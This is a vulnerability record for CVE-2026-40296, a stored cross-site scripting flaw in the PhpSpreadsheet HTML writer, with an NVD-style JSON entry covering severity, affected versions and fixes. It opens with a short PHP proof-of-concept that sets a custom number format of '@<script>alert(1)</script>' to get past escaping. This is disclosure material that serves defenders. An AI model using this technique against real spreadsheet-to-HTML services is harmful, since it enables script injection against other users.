CVE-2026-40296

<?php require 'vendor/autoload.php'; use PhpOffice\PhpSpreadsheet\Spreadsheet; use PhpOffice\PhpSpreadsheet\Writer\Html; // Initialize Spreadsheet $spreadsheet = new Spreadsheet(); $sheet = $spreadsheet->getActiveSheet(); // Set a cell value $sheet->setCellValue('A1', '123'); // Set a custom number format containing the '@' placeholder. // The formatter replaces '@' with '123', resulting in a formatted value // that differs from the original, bypassing htmlspecialchars escaping. $sheet->getStyle('A1')->getNumberFormat()->setFormatCode('@<script>alert(1)</script>'); // Generate HTML $writer = new Html($spreadsheet); $writer->save('php://output'); ?>

{"cve": {"id": "CVE-2026-40296", "sourceIdentifier": "[email protected]", "published": "2026-05-06T22:16:25.510", "lastModified": "2026-05-11T14:42:03.367", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "PhpSpreadsheet is a pure PHP library for reading and writing spreadsheet files. The HTML writer skips htmlspecialchars escaping when a cell's formatted value differs from the original value. When a cell has a custom number format containing the text placeholder @ along with any additional literal characters (for example \". @\", \"@ \", or \"x@\"), the formatter replaces @ with the cell value and adds the extra characters, causing the formatted value to differ from the original and bypassing HTML escaping entirely. An attacker who can control the cell value and number format of an uploaded spreadsheet that is later converted to HTML and displayed to other users can achieve stored cross-site scripting. This issue is fixed in versions 5.7.0, 3.10.5, 2.4.5, 2.1.16, and 1.30.4."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:phpoffice:phpspreadsheet:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.30.4", "matchCriteriaId": "21F2C6F6-C903-4A65-BCB4-4549FE752ED5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:phpoffice:phpspreadsheet:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.0.0", "versionEndExcluding": "2.1.16", "matchCriteriaId": "E27B01CE-562C-4746-A7F5-E402B25F0B47"}, {"vulnerable": true, "criteria": "cpe:2.3:a:phpoffice:phpspreadsheet:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.2.0", "versionEndExcluding": "2.4.5", "matchCriteriaId": "46FF2D5E-816F-481B-AA45-41BA6EDCFEA0"}, {"vulnerable": true, "criteria": "cpe:2.3:a:phpoffice:phpspreadsheet:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.3.0", "versionEndExcluding": "3.10.5", "matchCriteriaId": "DF58DF5C-8F1B-4B1B-80A0-001B47751D9F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:phpoffice:phpspreadsheet:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.0.0", "versionEndExcluding": "5.7.0", "matchCriteriaId": "DD7DEDE3-C624-4524-9B08-08B92F28C40C"}]}]}], "references": [{"url": "https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-hrmw-qprp-wgmc", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}, {"url": "https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-hrmw-qprp-wgmc", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}